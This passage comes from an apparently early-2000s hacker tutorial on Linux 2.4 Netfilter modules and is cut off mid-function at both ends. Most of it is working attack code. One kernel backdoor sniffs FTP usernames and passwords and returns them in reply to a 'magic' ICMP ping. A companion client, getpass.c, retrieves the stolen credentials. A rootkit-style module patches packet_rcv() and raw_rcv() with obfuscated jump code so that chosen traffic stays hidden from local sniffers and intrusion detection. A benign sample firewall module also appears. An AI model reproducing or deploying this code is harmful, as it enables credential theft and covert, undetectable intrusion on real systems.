      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
        return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);
      *(username + len) = '\0';         /* NULL terminate */
   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;
      /* If a username hasn’t been logged yet then don’t try logging
       * a password */
      if (username == NULL) return;
      if (password)  return;

      while (*(data + i) != ’\r’ && *(data + i) != ’\n’
             && *(data + i) != ’\0’ && i < 15) {
         len++;
         i++;
      }

      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
        return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = ’\0’;         /* NULL terminate */
   } else if (strncmp(data, "QUIT", 4) == 0) {
      /* Quit command received. If we have a username but no password,
       * clear the username and reset everything */
      if (have_pair)  return;
      if (username && !password) {
         kfree(username);
         username = NULL;
         target_port = target_ip = 0;
         have_pair = 0;

         return;
      }
   } else {
      return;
   }

   if (!target_ip)
     target_ip = skb->nh.iph->daddr;
   if (!target_port)
     target_port = tcp->source;

   if (username && password)
     have_pair++;                       /* Have a pair. Ignore others until
                                         * this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %s\n", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
 * FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
                              struct sk_buff **skb,
                              const struct net_device *in,
                              const struct net_device *out,
                              int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct tcphdr *tcp;

   /* Make sure this is a TCP packet first */
   if (sb->nh.iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;                  /* Nope, not TCP */

   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));

   /* Now check to see if it’s an FTP packet */
   if (tcp->dest != htons(21))
     return NF_ACCEPT;                  /* Nope, not FTP */

   /* Parse the FTP packet for relevant information if we don’t already
    * have a username and password pair. */
   if (!have_pair)
```

```
     check_ftp(sb);

   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}


/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
 * When that is received, we tweak the skb structure to send a reply
 * back to the requesting host and tell Netfilter that we stole the
 * packet. */
static unsigned int watch_in(unsigned int hooknum,
                             struct sk_buff **skb,
                             const struct net_device *in,
                             const struct net_device *out,
                             int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;                      /* Where we copy data to in reply */
   unsigned int   taddr;               /* Temporary IP holder */

   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;

   /* Is this an ICMP packet? */
   if (sb->nh.iph->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;

   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

   /* Is it the MAGIC packet? */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }

   /* Okay, matches our checks for "Magicness", now we fiddle with
    * the sk_buff to insert the IP address, and username/password pair,
    * swap IP source and destination addresses and ethernet addresses
    * if necessary and then transmit the packet from here and tell
    * Netfilter we stole it. Phew... */
   taddr = sb->nh.iph->saddr;
   sb->nh.iph->saddr = sb->nh.iph->daddr;
   sb->nh.iph->daddr = taddr;

   sb->pkt_type = PACKET_OUTGOING;

   switch (sb->dev->type) {
    case ARPHRD_PPP:                   /* No fiddling needs doing */
      break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
        {
           unsigned char t_hwaddr[ETH_ALEN];

           /* Move the data pointer to point to the link layer header */
           sb->data = (unsigned char *)sb->mac.ethernet;
           sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
           memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
           memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
                  ETH_ALEN);
           memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);

           break;
        }
   };
   /* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);
   if (username)
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);

   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sb);

   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;

   target_port = target_ip = 0;

//   printk("Password retrieved\n");

   return NF_STOLEN;
}

int init_module()
{
   pre_hook.hook     = watch_in;
   pre_hook.pf       = PF_INET;
   pre_hook.priority = NF_IP_PRI_FIRST;
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;

   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING;

   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);

   return 0;
}

void cleanup_module()
{
   nf_unregister_hook(&post_hook);
   nf_unregister_hook(&pre_hook);

   if (password)
     kfree(password);
   if (username)
     kfree(username);
}
<-->
```

------[5.2.2 - getpass.c

```
<++> nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
 * the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
 * Mostly stripped from my source for InfoPig.
 *
 * Written by bioforge  -  March 2003 */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
```

```
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#ifndef __USE_BSD
# define __USE_BSD                      /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
    unsigned char dgram[256];           /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;

    if (argc < 3) {
        fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
        exit(1);
    }

    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
        fprintf(stderr, "Couldn't open raw socket! %s\n",
                strerror(errno));
        exit(1);
    }

    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
                  ptr_one, sizeof(one)) < 0) {
        close(icmp_sock);
        fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
                strerror(errno));
        exit(1);
    }

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);

    my_addr.s_addr = inet_addr(argv[2]);

    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);

    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;

    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);

    /* Finally, send the packet */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
               sizeof(struct sockaddr)) < 0) {
        fprintf(stderr, "\nFailed sending request! %s\n",
                strerror(errno));
        return 0;
    }

    fprintf(stdout, "Waiting for reply...\n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
                 &src_addr_size) < 0) {
        fprintf(stdout, "Failed getting reply packet! %s\n",
                strerror(errno));
        close(icmp_sock);
        exit(1);
    }

    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),
           sizeof (struct in_addr));

    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n",
             (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s\n",
             (char *)((char *)icmphead + 28));

    close(icmp_sock);

    return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
 * reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
 * Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;

   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */

   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);

   return ~sum;
}
<-->
```

--[6 - Hiding network traffic from Libpcap

This section will briefly describe how the Linux 2.4 kernel can be hacked to make network traffic that matches predefined conditions invisible to packet sniffing software running on the local machine. Presented at the end of this article is working code that will do such a thing for all IPv4 traffic coming from or going to a particular IP address. So let's get started shall we...

----[6.1 - SOCK_PACKET, SOCK_RAW and Libpcap

Some of the most useful software for a system administrator is that which can be classified under the broad title of "packet sniffer". Two of the most common examples of general purpose packet sniffers are tcpdump(1) and Ethereal(1). Both of these applications utilise the Libpcap library (available from [1] along with tcpdump) to capture raw packets. Network Intrusion Detection Systems (NIDS) also make use of the Libpcap library. SNORT requires Libpcap, as does Libnids, a NIDS writing library that provides IP reassembly and TCP stream following and is available from [2].

On Linux systems, the Libpcap library uses the SOCK_PACKET interface. Packet sockets are special sockets that can be used to send and receive raw packets at the link layer. There is a lot that can be said about packet sockets and their use. However, because this section is about hiding from them and not using them, the interested reader is directed to the packet(7) man page. For the discussion here, it is only neccessary to understand that packet sockets are what Libpcap applications use to get the information on raw packets coming into or going out of the machine.

When a packet is received by the kernel's network stack, a check is performed to see if there are any packet sockets that would be interested in this packet. If there are then the packet is delivered to those interested sockets. If not, the packet simply continues on it's way to the TCP, UDP or other socket type that it's truly bound for. The same thing happens for sockets of type SOCK_RAW. Raw sockets are very similar to packet sockets, except they do not provide link layer headers. An example of a utility that utilises raw IP sockets is my SYNalert utility, available at [3] (sorry about the shameless plug there :).

So now you should see that packet sniffing software on Linux uses the Libpcap library. Libpcap utilises the packet socket interface to obtain raw packets with link layers on Linux systems. Raw sockets were also mentioned which act as a way for user space applications to obtain packets complete with IP headers. The next section will discuss how an LKM can be used to hide network traffic from these packet and raw socket interfaces.

------[6.2 Wrapping the cloak around the dagger

When a packet is received and sent to a packet socket, the packet_rcv() function is called. This function can be found in net/packet/af_packet.c. packet_rcv() is responsible for running the packet through any socket filters that may be applied to the destination socket and then the ultimate delivery of the packet to user space. To hide packets from a packet socket we need to prevent packet_rcv() from being called at all for certain packets. How do we do this? With good ol'-fashioned function hijacking of course.

The basic operation of function hijacking is that if we know the address of a kernel function, even one that's not exported, we can redirect that function to another location before we allow the real code to run. To do this we first save so many of the original instruction bytes from the beginning of the function and replace them with instruction bytes that perform an absolute jump to our own code. Example i386 assembler to do this is given here:

```
        movl  (address of our function),  %eax
        jmp   *eax
```

The generated hex bytes of these instructions (substituting zero as our function address) are:

```
        0xb8 0x00 0x00 0x00 0x00
        0xff 0xe0
```

If in the initialisation of an LKM we change the function address of zero in the code above to that of our hook function, we can make our hook function run first. When (if) we want to run the original function we simply restore the original bytes at the beginning, call the function and then replace our hijacking code. Simple, but powerful. Silvio Cesare has written a document a while ago detailing kernel function hijacking. See [4] in the references.

Now to hide packets from packet sockets we need to first write the hook function that will check to see if a packet matches our criteria to be hidden. If it does, then our hook function simply returns zero to it’s caller and packet_rcv() never gets called. If packet_rcv() never gets called, then the packet is never delivered to the user space packet socket. Note that it is only the *packet* socket that this packet will be dropped on. If we want to filter FTP packets from being sent to packet sockets then the FTP server’s TCP socket will still see the packet. All that we’ve done is made that packet invisible to any sniffer software that may be running on the host. The FTP server will still be able to process and log the connection.

In theory that’s all there is too it. The same thing can be done for raw sockets as well. The difference is that we need to hook the raw_rcv() function (net/ipv4/raw.c). The next section will present and discuss source code for an example LKM that will hijack the packet_rcv() and raw_rcv() functions and hide any packets going to or coming from an IP address that we specify.

--[7 - Conclusion

Hopefully by now you have at least a basic understanding of what Netfilter is, how to use it and what you can do with it. You should also have the knowledge to hide special network traffic from sniffing software running on the local machine.If you would like a tarball of the sources used for this tutorial then just email me. I would also appreciate any corrections, comments or suggestions. Now I leave it to you and your imagination to do something interesting with what I have presented here.

--[A - Light-Weight Fire Wall

----[A.1 - Overview

The Light-Weight Fire Wall (LWFW) is a simple kernel module that demonstrates the basic packet filtering techniques that were presented in section 4.LWFW also provides a control interface through the ioctl() system call.

Because the LWFW source is sufficiently documented I will only provide a brief overview of how it works. When the LWFW module is installed its first task is to try and register the control device. Note that before the ioctl() interface to LWFW can be used, a character device file needs to be made in /dev. If the control device registration succeeds the "in use" marker is cleared and the hook function for NF_IP_PRE_ROUTE is registered. The clean-up function simply does the reverse of this process.

LWFW provides three basic options for dropping packets. These are, in the order of processing:

```
  -- Source interface
  -- Source IP address
  -- Destination TCP port
```

The specifics of these rules are set with the ioctl() interface. When a packet is received LWFW will check it against all the rules which have been set. If it matches any of the rules then the hook function will return NF_DROP and Netfilter will silently drop the packet. Otherwise the hook function will return NF_ACCEPT and the packet will continue on its way.

The last thing worth mentioning is LWFW's statistics logging. Whenever a packet comes into the hook function and LWFW is active the total number of packets seen is incremented. The individual rules checking functions are responsible for incrementing their respective count of dropped packets. Note that when a rule's value is changed its count of dropped packets is reset to zero. The lwfwstats program utilises the LWFW_GET_STATS IOCTL to get a copy of the statistics structure and display it's contents.

----[A.2 - The source... lwfw.c

```
<++> lwfw/lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
 * Netfilter for 2.4. Designed for educational purposes.
 *
 * Written by bioforge  -  March 2003.
 */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/net.h>
#include <linux/types.h>
#include <linux/skbuff.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#include <asm/errno.h>
#include <asm/uaccess.h>

#include "lwfw.h"

/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
                      unsigned int cmd, unsigned long arg);
```

```
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);


/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
 * can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.
 * If this is zero then LWFW automatically allows all packets. */
static int active = 0;

/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
                                    | LWFW_IP_DENY_ACTIVE
                                    | LWFW_PORT_DENY_ACTIVE);

static int major = 0;                  /* Control device major number */

/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;

/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule ’definitions’. */
/* TODO:  One day LWFW might actually support many simultaneous rules.
 * Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL;                 /* Interface to deny */
static unsigned int deny_ip = 0x00000000;    /* IP address to deny */
static unsigned short deny_port = 0x0000;   /* TCP port to deny */

/*
 * This is the interface device’s file_operations structure
 */
struct file_operations  lwfw_fops = {
   NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     lwfw_ioctl,
     NULL,
     lwfw_open,
     NULL,
     lwfw_release,
     NULL                              /* Will be NULL’ed from here... */
};

MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

/*
 * This is the function that will be called by the hook
 */
unsigned int lwfw_hookfn(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
   unsigned int ret = NF_ACCEPT;

   /* If LWFW is not currently active, immediately return ACCEPT */
   if (!active)
     return NF_ACCEPT;
   lwfw_statistics.total_seen++;

   /* Check the interface rule first */
   if (deny_if && DENY_IF_ACTIVE) {
      if (strcmp(in->name, deny_if) == 0) {   /* Deny this interface */
         lwfw_statistics.if_dropped++;
         lwfw_statistics.total_dropped++;
         return NF_DROP;
      }
   }

   /* Check the IP address rule */
   if (deny_ip && DENY_IP_ACTIVE) {
      ret = check_ip_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }

   /* Finally, check the TCP port rule */
   if (deny_port && DENY_PORT_ACTIVE) {
      ret = check_tcp_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }

   return NF_ACCEPT;                   /* We are happy to keep the packet */
}

/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
   NULL_CHECK(statbuff);

   copy_to_user(statbuff, &lwfw_statistics,
                sizeof(struct lwfw_stats));

   return 0;
}

/* Function that compares a received TCP packet’s destination port
 * with the port specified in the Port Deny Rule. If a processing
 * error occurs, NF_ACCEPT will be returned so that the packet is
 * not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
   /* Seperately defined pointers to header structures are used
    * to access the TCP fields because it seems that the so-called
    * transport header from skb is the same as its network header TCP packets.
    * If you don’t believe me then print the addresses of skb->nh.iph
    * and skb->h.th.
    * It would have been nicer if the network header only was IP and
    * the transport header was TCP but what can you do? */
   struct tcphdr *thead;

   /* We don’t want any NULL pointers in the chain to the TCP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;

   /* Be sure this is a TCP packet first */
   if (skb->nh.iph->protocol != IPPROTO_TCP) {
      return NF_ACCEPT;
   }

   thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));

   /* Now check the destination port */
   if ((thead->dest) == deny_port) {
      /* Update statistics */
      lwfw_statistics.total_dropped++;
      lwfw_statistics.tcp_dropped++;

      return NF_DROP;
   }

   return NF_ACCEPT;
}

/* Function that compares a received IPv4 packet’s source address
 * with the address specified in the IP Deny Rule. If a processing
 * error occurs, NF_ACCEPT will be returned so that the packet is
 * not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
   /* We don’t want any NULL pointers in the chain to the IP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;

   if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
      lwfw_statistics.ip_dropped++;    /* Update the statistics */
      lwfw_statistics.total_dropped++;

      return NF_DROP;
   }

   return NF_ACCEPT;
}

static int set_if_rule(char *name)
{
   int ret = 0;
   char *if_dup;                       /* Duplicate interface */

   /* Make sure the name is non-null */
   NULL_CHECK(name);

   /* Free any previously saved interface name */
   if (deny_if) {
      kfree(deny_if);
      deny_if = NULL;
   }

   if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
        == NULL) {
      ret = -ENOMEM;
   } else {
      memset(if_dup, 0x00, strlen((char *)name) + 1);
      memcpy(if_dup, (char *)name, strlen((char *)name));
   }

   deny_if = if_dup;
   lwfw_statistics.if_dropped = 0;     /* Reset drop count for IF rule */
   printk("LWFW: Set to deny from interface: %s\n", deny_if);

   return ret;
}

static int set_ip_rule(unsigned int ip)
{
   deny_ip = ip;
   lwfw_statistics.ip_dropped = 0;     /* Reset drop count for IP rule */

   printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",
          ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
          (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);

   return 0;
}
```

```
static int set_port_rule(unsigned short port)
{
   deny_port = port;
   lwfw_statistics.tcp_dropped = 0;    /* Reset drop count for TCP rule */

   printk("LWFW: Set to deny for TCP port: %d\n",
          ((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));

   return 0;
}

/********************************************/
/*
 * File operations functions for control device
 */
static int lwfw_ioctl(struct inode *inode, struct file *file,
                      unsigned int cmd, unsigned long arg)
{
   int ret = 0;

   switch (cmd) {
    case LWFW_GET_VERS:
      return LWFW_VERS;
    case LWFW_ACTIVATE: {
       active = 1;
       printk("LWFW: Activated.\n");
       if (!deny_if && !deny_ip && !deny_port) {
          printk("LWFW: No deny options set.\n");
       }
       break;
    }
    case LWFW_DEACTIVATE: {
       active ^= active;
       printk("LWFW: Deactivated.\n");
       break;
    }
    case LWFW_GET_STATS: {
       ret = copy_stats((struct lwfw_stats *)arg);
       break;
    }
    case LWFW_DENY_IF: {
       ret = set_if_rule((char *)arg);
       break;
    }
    case LWFW_DENY_IP: {
       ret = set_ip_rule((unsigned int)arg);
       break;
    }
    case LWFW_DENY_PORT: {
       ret = set_port_rule((unsigned short)arg);
       break;
    }
    default:
      ret = -EBADRQC;
   };

   return ret;
}

/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
   if (lwfw_ctrl_in_use) {
      return -EBUSY;
   } else {
      MOD_INC_USE_COUNT;
      lwfw_ctrl_in_use++;
      return 0;
   }
   return 0;
}

/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
   MOD_DEC_USE_COUNT;
   return 0;
}

/*********************************************/
/*
 * Module initialisation and cleanup follow...
 */
int init_module()
{
   /* Register the control device, /dev/lwfw */
      SET_MODULE_OWNER(&lwfw_fops);

   /* Attempt to register the LWFW control device */
   if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
                                &lwfw_fops)) < 0) {
      printk("LWFW: Failed registering control device!\n");
      printk("LWFW: Module installation aborted.\n");
      return major;
   }

   /* Make sure the usage marker for the control device is cleared */
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

   printk("\nLWFW: Control device successfully registered.\n");

   /* Now register the network hooks */
   nfkiller.hook = lwfw_hookfn;
   nfkiller.hooknum = NF_IP_PRE_ROUTING;   /* First stage hook */
   nfkiller.pf = PF_INET;                  /* IPV4 protocol hook */
   nfkiller.priority = NF_IP_PRI_FIRST;    /* Hook to come first */

   /* And register... */
   nf_register_hook(&nfkiller);

   printk("LWFW: Network hooks successfully installed.\n");

   printk("LWFW: Module installation successful.\n");
   return 0;
}

void cleanup_module()
{
   int ret;

   /* Remove IPV4 hook */
   nf_unregister_hook(&nfkiller);

   /* Now unregister control device */
   if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
      printk("LWFW: Removal of module failed!\n");
   }

   /* If anything was allocated for the deny rules, free it here */
   if (deny_if)
     kfree(deny_if);

   printk("LWFW: Removal of module successful.\n");
}
```

```
<-->

<++> lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.
 *
 * A very simple Netfilter module that drops backets based on either
 * their incoming interface or source IP address.
 *
 * Written by bioforge  -  March 2003
 */

#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
 * Userspace code has no business knowing about it. */
# define LWFW_NAME        "lwfw"

/* Version of LWFW */
# define LWFW_VERS        0x0001       /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
 * print anything with printk(). This is included for debugging purposes.
 */
#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET   0xFEED0000     /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS   0xFEED0001     /* Get the version of LWFM */
#define LWFW_ACTIVATE   0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS  0xFEED0004
#define LWFW_DENY_IF    0xFEED0005
#define LWFW_DENY_IP    0xFEED0006
#define LWFW_DENY_PORT  0xFEED0007

/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE   0x00000001
#define LWFW_IP_DENY_ACTIVE   0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.
 * Note that whenever a rule's condition is changed the related
 * xxx_dropped field is reset.
 */
struct lwfw_stats {
   unsigned int if_dropped;            /* Packets dropped by interface rule */
   unsigned int ip_dropped;            /* Packets dropped by IP addr. rule */
   unsigned int tcp_dropped;           /* Packets dropped by TCP port rule */
   unsigned long total_dropped;   /* Total packets dropped */
   unsigned long total_seen;      /* Total packets seen by filter */
};

/*
 * From here on is used solely for the actual kernel module
 */
#ifdef __KERNEL__
# define LWFW_MAJOR       241   /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If
 * a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr)    \
   if ((ptr) == NULL)  return -EINVAL

/* Macros for accessing options */
#define DENY_IF_ACTIVE    (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE    (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE  (lwfw_options & LWFW_PORT_DENY_ACTIVE)
```

```
#endif                                  /* __KERNEL__ */
#endif
<-->

<++> lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o

.c.o:
        $(CC) -c $< -o $@ $(CFLAGS)

all: $(OBJS)

clean:
        rm -rf *.o
        rm -rf ./*~
<-->
```

--[B - Code for section 6

Presented here is a simple module that will hijack the packet_rcv() and raw_rcv() functions to hide any packets to or from the IP address we specify. The default IP address is set to 127.0.0.1, but this can be changed by changing the value of the #define IP. Also presented is a bash script that will get the addresses for the required functions from a System.map file and run insmod with these addresses as parameters in the required format. This loader script was written by grem. Originally for my Mod-off project, it was easily modified to suit the module presented here. Thanks again grem.

The presented module is proof-of-concept code only and as such, does not have anything in the way of module hiding. It is also important to remember that although this module can hide traffic from a sniffer running on the same host, a sniffer on a different host, but on the same LAN segment will still see the packets. From what is presented in the module, smart readers should have everything they need to design filtering functions to block any kind of packets they need. I have successfully used the technique presented in this text to hide control and information retrieval packets used by my other LKM projects.

```
<++> pcaphide/pcap_block.c
/* Kernel hack that will hijack the packet_rcv() function
 * which is used to pass packets to  Libpcap applications
 * that use  PACKET sockets.  Also  hijacks the raw_rcv()
 * function. This is used to pass packets to applications
 * that open RAW sockets.
 *
 * Written by bioforge  -  30th June, 2003
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/smp_lock.h>
#include <linux/ip.h>                   /* For struct ip */
```

```
#include <linux/if_ether.h>            /* For ETH_P_IP */

#include <asm/page.h>                  /* For PAGE_OFFSET */

/*
 * IP address to hide 127.0.0.1 in NBO for Intel */
#define IP    htonl(0x7F000001)

/* Function pointer for original packet_rcv() */
static int (*pr)(struct sk_buff *skb, struct net_device *dev,
                  struct packet_type *pt);
MODULE_PARM(pr, "i");       /* Retrieved as insmod parameter */

/* Function pointer for original raw_rcv() */
static int (*rr)(struct sock *sk, struct sk_buff *skb);
MODULE_PARM(rr, "i");

/* Spinlock used for the parts where we un/hijack packet_rcv() */
static spinlock_t hijack_lock  = SPIN_LOCK_UNLOCKED;

/* Helper macros for use with the Hijack spinlock */
#define HIJACK_LOCK    spin_lock_irqsave(&hijack_lock, \
                                      sl_flags)
#define HIJACK_UNLOCK  spin_unlock_irqrestore(&hijack_lock, \
                                           sl_flags)

#define CODESIZE 10
/* Original and hijack code buffers.
 * Note that the hijack code also provides 3 additional
 * bytes ( inc eax;  nop;  dec eax ) to try and throw
 * simple hijack detection techniques that just look for
 * a move and a jump. */
/* For packet_rcv() */
static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                      "\x40\x90\x48"
                                      "\xff\xe0";
static unsigned char pr_orig[CODESIZE];

/* For raw_rcv() */
static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
                                      "\x40\x90\x48"
                                      "\xff\xe0";
static unsigned char rr_orig[CODESIZE];

/* Replacement for packet_rcv(). This is currently setup to hide
 * all packets with a source or destination IP address that we
 * specify. */
int hacked_pr(struct sk_buff *skb, struct net_device *dev,
               struct packet_type *pt)
{
    int sl_flags;                      /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
        return 0;                   /* Ignore this packet */

    /* Call original */
    HIJACK_LOCK;
    memcpy((char *)pr, pr_orig, CODESIZE);
    retval = pr(skb, dev, pt);
    memcpy((char *)pr, pr_code, CODESIZE);
    HIJACK_UNLOCK;

    return retval;
}
```

```
/* Replacement for raw_rcv(). This is currently setup to hide
 * all packets with a source or destination IP address that we
 * specify. */
int hacked_rr(struct sock *sock, struct sk_buff *skb)
{
    int sl_flags;                      /* Flags for spinlock */
    int retval;

    /* Check if this is an IP packet going to or coming from our
     * hidden IP address. */
    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */
      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
